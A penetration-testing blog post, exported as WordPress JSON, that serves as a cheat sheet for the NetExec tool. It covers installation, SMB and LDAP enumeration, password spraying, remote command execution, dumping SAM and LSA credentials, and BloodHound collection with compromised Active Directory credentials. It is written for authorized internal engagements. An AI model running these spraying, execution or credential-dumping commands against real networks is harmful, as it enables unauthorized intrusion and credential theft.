{"id":292,"date":"2021-04-25T17:44:58","date_gmt":"2021-04-25T17:44:58","guid":{"rendered":"https:\/\/sirensecurity.io\/blog\/?p=292"},"modified":"2024-09-09T16:40:35","modified_gmt":"2024-09-09T16:40:35","slug":"netexecref","status":"publish","type":"post","link":"https:\/\/sirensecurity.io\/blog\/netexecref\/","title":{"rendered":"NetExec Reference"},"content":{"rendered":"\n<div class=\"wp-block-cover is-light\"><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><img loading=\"lazy\" decoding=\"async\" width=\"2400\" height=\"1600\" class=\"wp-block-cover__image-background wp-image-231\" alt=\"\" src=\"https:\/\/sirensecurity.io\/blog\/wp-content\/uploads\/2021\/04\/2-2.jpg\" data-object-fit=\"cover\"\/><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-vivid-red-color has-text-color\">S1REN<\/p>\n\n\n\n<p class=\"has-text-align-center has-large-font-size\">Going down the range.<\/p>\n<\/div><\/div>\n\n\n\n<p>So lets discuss a bit about <strong>NetExec <\/strong>(<em>formally CrackMapExec....but we use NetExec now<\/em>).<br><br><img loading=\"lazy\" decoding=\"async\" width=\"350\" height=\"197\" class=\"wp-image-300\" style=\"width: 350px;\" src=\"https:\/\/sirensecurity.io\/blog\/wp-content\/uploads\/2021\/04\/kindawannablastit.gif\" alt=\"\"><br><br>The more targeted your user\/pass or hash list - the more targeted your attack. <br><br>This tool is the go-to tool for internal engagements when performing large sweeps or '<em>Credential Spray<\/em>' Attacks across a <em>variety of protocols<\/em>. <br><br><strong>Install:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>sudo apt install pipx git\npipx ensurepath\npipx install git+https:\/\/github.com\/Pennyw0rth\/NetExec<\/strong><\/code><\/pre>\n\n\n\n<p><br>I encourage you to do some research on what protocols NetExec supports!<br><a href=\"https:\/\/www.netexec.wiki\/smb-protocol\/enumeration\">NETEXEC ENUMERATION (CLICKY)<\/a><\/p>\n\n\n\n<p><br><strong>Enumerate Hosts<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use to<strong> identify live hosts and their SMB details on a network<\/strong>.<br><code>nxc smb 192.168.1.0\/24<\/code><\/li>\n<\/ul>\n\n\n\n<p><strong>Enumerate Null Sessions<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Check if a host allows <strong>null sessions,<\/strong> which can be useful for further enumeration.<br><code>nxc smb 192.168.1.101 --null-session<\/code><\/li>\n<\/ul>\n\n\n\n<p><strong>Enumerate Active Sessions<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>List active SMB sessions on a target host.<\/strong><br><br><code>nxc smb 192.168.1.0\/24 --sessions<\/code><\/li>\n<\/ul>\n\n\n\n<p><strong>Enumerate Shares and Access<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>List all available shares and permissions.<\/strong><br><br><code>nxc smb 192.168.1.0\/24 -u Username -p 'PASSWORD' --shares<\/code><\/li>\n<\/ul>\n\n\n\n<p><strong>Enumerate Domain Users<\/strong>:<br><br><code>nxc smb 192.168.1.0\/24 -u Username -p 'PASSWORD' --domain-users<\/code><br><\/p>\n\n\n\n<p>Retrieve domain users for further analysis.<br><br><strong>S1REN, I've compromised a machine on the internal network and managed to get a real AD User.<br><\/strong><em>What do?<\/em><br>Glad you asked.<br><br>Search for the Domain Controller first, enumerate it out by checking for LDAP protocol. Then, once firmly identified - <strong>utilize your compromised AD Creds along side NetExec with Bloodhound-Python.<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>NetExec ldap &lt;ip&gt; -u <strong>ad-user <\/strong>-p <strong>ad-pass <\/strong>--bloodhound -ns &lt;ns-ip&gt; <strong>--collection All<\/strong><\/code><\/pre>\n\n\n\n<p>If successful - <strong>you will get a bunch of JSON output files that can be imported into the Bloodhound GUI. <\/strong><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><em>Additionally<\/em>......<\/p>\n\n\n\n<p><code><strong># SMB Enumeration<\/strong><br>nxc smb &lt;target> --shares<br>nxc smb &lt;target> --sessions<br>nxc smb &lt;target> --null-session<br>nxc smb &lt;target> --guest-logon<br>nxc smb &lt;target> --interfaces<br><br><strong># LDAP Enumeration<\/strong><br>nxc ldap &lt;target> --users<br>nxc ldap &lt;target> --subnet<br>nxc ldap &lt;target> --domain-trusts<br><br><strong># Password Spraying (Supported protocols: SMB, WINRM, SSH, etc.)<\/strong><br>nxc &lt;protocol> &lt;target> -u &lt;username> -p &lt;password><br>nxc &lt;protocol> &lt;target> -u &lt;file_with_users> -p &lt;file_with_passwords> --no-bruteforce<br><br><strong># Command Execution (Supported on protocols like SMB, WINRM, MSSQL, etc.)<\/strong><br>nxc &lt;protocol> &lt;target> --exec &lt;command><br><br><strong># Dumping credentials<\/strong><br>nxc smb &lt;target> --dump-sam<br>nxc smb &lt;target> --dump-lsa<br><br><strong># Brute-force and Credential Checks<\/strong><br>nxc &lt;protocol> &lt;target> -u &lt;username> -p &lt;password> --continue-on-success<br>nxc &lt;protocol> &lt;target> -u &lt;file_with_users> -p &lt;file_with_passwords> --no-bruteforce<br><br><strong># Scan for vulnerabilities<\/strong><br>nxc smb &lt;target> --vuln-scan<br><br><strong># Additional Examples<\/strong><br>nxc smb &lt;target> --domain-users<br>nxc smb &lt;target> --domain-password-policy<br>nxc ldap &lt;target> --find-sid<br>nxc ldap &lt;target> --check-signing<\/code><br><br><br><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So lets discuss a bit about NetExec (formally CrackMapExec....but we use NetExec now). The more targeted your user\/pass or hash list - the more targeted your attack. This tool is the go-to tool for internal engagements when performing large sweeps or 'Credential Spray' Attacks across a variety of protocols. Install: I encourage you to do [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":231,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[108,110,106,107,2],"tags":[39,36,35,37,135,136,137,38,4,34],"class_list":["post-292","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-assessment","category-blog","category-cybersecurity","category-engagement","category-s1ren","tag-blog","tag-crack-map-execute","tag-crackmapexec","tag-impacket","tag-net-execute","tag-netexec","tag-nxc","tag-reference","tag-s1ren","tag-siren"],"_links":{"self":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/comments?post=292"}],"version-history":[{"count":8,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/292\/revisions"}],"predecessor-version":[{"id":693,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/292\/revisions\/693"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/media\/231"}],"wp:attachment":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/media?parent=292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/categories?post=292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/tags?post=292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}